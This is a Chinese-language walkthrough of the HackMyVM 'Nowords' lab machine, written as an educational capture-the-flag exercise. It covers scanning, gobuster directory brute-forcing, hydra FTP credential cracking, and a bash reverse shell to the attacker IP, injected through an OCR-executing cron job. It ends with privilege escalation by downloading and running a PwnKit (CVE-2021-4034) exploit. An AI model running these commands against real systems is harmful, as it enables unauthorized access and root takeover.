HackMyVM-Nowords靶机的测试报告

最新推荐文章于 2025-02-22 11:32:33 发布

原创最新推荐文章于 2025-02-22 11:32:33 发布 · 1.1k 阅读

21 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #HackMyVM靶场 #反弹shell #ai识图 #ftp #Pwnkit #定时任务

HackMyVM靶场专栏收录该内容

16 篇文章

订阅专栏

一、测试环境

1、系统环境

渗透机：kali2021.1(192.168.159.127)

靶机：ubuntu20.04(192.168.159.169)

注意事项：

①该类型靶场只能在virtualBox上搭建，因此将靶机设置为桥接网络，方便进行渗透。攻击机kali也要桥接出来，不然会出问题。

②靶机启动失败：设置中取消勾选usb即可

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务探测)、gobuster(目录扫描)、hydra(爆破ftp登录)、ftp(登录ftp服务)、nc(监听反弹shell)、python3(开启web服务)

010 editor(查看文件16进制信息)

测试网址：http://192.168.159.169

靶场介绍：由国外大佬搭建的靶场，类似于vulnhub，经常更新，需要翻墙才能进。

地址：https://hackmyvm.eu/machines/machine.php?vm=Nowords

二、测试目的

熟悉识图提取文字的方法，拓展思维，拿下2个flag。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

靶机IP：192.168.159.169

物理机IP：192.168.159.241

端口和服务探测

nmap -sT -A -p- -T4 192.168.159.169

靶机开放21端口(ftp服务)、80端口(web服务)

目录扫描

gobuster dir -u http://192.168.159.169 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

获取ftp的登录凭证

在主页的源代码中找到一句提示：用户名和密码都是小写

访问robots.txt文件会直接下载，使用010 editor查看16进制，发现文件头是PNG的格式

修改后缀名为png并查看图片，是一些目录，需要提取为txt

推荐是用ai识图提取文字即可，我用的Xiaomi超级小爱，识别文字很准确

也可以直接复制下方：

/ewqpoiewopqiewq

/490382490328423

/fdsnmrewrwerew

/uoijfdsijiofds

/rewjlkjsdf

/rwen908098vcxvcx

/kvjciovcuxioufhydsfdsyr

/klvcxhyvcxkljhyvcxiuzxcioyv

/oiufdsaoifndasuiofhdsa

/klhvcoixzuyvxcizoyvzxcuiyv

/pvycuxivhyzxcuivyzxiouvyzxc

/kifjdsaoipfuasoifjasipofudas

/oidfphkljerhwqlkjrheqwkjlh

/mncvmzxoiurewqioyrwqrewqrr

/oiupoiuopiuopiuioyuiyiuyio

/ghasfdhasfdhasdghasfdhgasfdasjf

/nbvnmvnbvnmzxvncvznbxcvznvzx

/vnbewqveqwbmvenqwbvrnwevrhjwefhjvwerj

/hvuixctyvcyuxgivxcyuvfxcyuvigfxc

/uihysaidouyasiudysquidhqiuodhqiudqhiodu

/hfdsioufhdsiuhvcxiuovyhcxiuvgxcivhcxbcviux

/vhsdiufyhdsuivhxcuivhuisdhfids

/jfd9s87fds89cvxyvxc789v6cx

/m98789789ds7a89d7sah98zxc78

/dsaknewiquiodusjadsa

/vcxjhkluioyfdsrew

/vcxoiufdsnkjnewq

/iouoiuvcxvcxfds

/uoihbnnmxcbmxcnbvx

/mdsaydqnfdsoiurewnh

/ioufdosijnmieowryu

/oiufdsnrewjhuiyfsd

/rewnkvoiuxvfdsfdsrwqe

/kuviosjdfiojdsifoyuewhq

/hvioxcuyiofuasdhfkjlsnafoidsy

根据这些目录名，爆破路径，得到一个有效路径：/oiufdsnrewjhuiyfsd

gobuster dir -u http://192.168.159.169 -w ./directory.txt -x php,jsp,html,txt

访问该路径同样会直接下载，使用010 editor分析，该文件为jpg格式

修改文件后缀名并查看图片，是一些名字信息，看来这就是字典了

可以直接复制下方，txt文档也会做附件上传：

Quinn

Nevaeh

Piper

Ruby

Serenity

Willow

Everly

Cora

Kaylee

Lydia

Aubree

Arianna

Eliana

Peyton

Melanie

Gianna

Isabelle

Julia

Valentina

Nova

Clara

Vivian

Reagan

Mackenzie

Madeline

Brielle

Delilah

Isla

Rylee

Katherine

Sophie

Josephine

Ivy

Liliana

Jade

Maria

Taylor

Hadley

Kylie

Emery

Adalynn

Natalia

Annabelle

Faith

Alexandra

Ximena

Ashley

Brianna

Raelynn

Bailey

Mary

Athena

Andrea

Leilani

Jasmine

Lyla

Margaret

Alyssa

Adalyn

Arya

Norah

Khloe

Kayla

Eden

Eliza

Rose

Ariel

Melody

Alexis

Isabel

Sydney

Juliana

Lauren

Iris

Emerson

爆破靶机的ftp服务，用户名和密码都在这里面

将大写字母换成小写

cat dic.txt | tr 'A-Z' 'a-z' > dic1.txt

开始爆破，泡杯茶喝，大概需要10分钟

hydra -L dic1.txt -P dic1.txt 192.168.159.169 ftp

爆出账户和密码就可以退出了

sophie/natalia

2、Getshell

ftp登录靶机查看，有很多文件

sophie/natalia

去上级目录查看，有一个me的文件夹

有一个python文件和user.txt

cd ..
ls
cd me
ls
get doit.py
get user.txt

查看两个文件

user.txt: Icanreadyeah

python文件的主要内容是：提取command.jpg图片文字信息，并作为系统命令执行，将执行代码记录到log.txt中

command.jpg和log.txt在sophie目录中

可以看到log.txt文件的生成时间是现在生成的，猜测python脚本是定时执行，因此定时更新log.txt

可以看到执行的是id命令

获取shell的方法就是上传一个shell脚本，然后做一个调用shell脚本执行命令并截图，替换command.jpg，等待定时任务执行反弹shell命令来获取shell

bash -i >& /dev/tcp/192.168.159.127/6666 0>&1

command.jpg图片如下：

成功获取反弹shell

cd ../me
cat user.txt

user.txt: Icanreadyeah

3、提权

上传漏洞扫描脚本到靶机，脚本地址：

https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

上传靶机后扫描

wget 192.168.159.127:8888/linux.sh
chmod +x linux.sh
./linux.sh

扫出很多内核漏洞，比如知名的DirtyPipe和Pwnkit

exp下载地址：https://codeload.github.com/berdav/CVE-2021-4034/zip/main

下载后上传靶机并解压，直接运行cve-2021-4034.sh脚本即可获取root权限

wget 192.168.159.127:8888/CVE-2021-4034-main.zip
unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
ls -la
./cve-2021-4034.sh
SHELL=/bin/bash script -q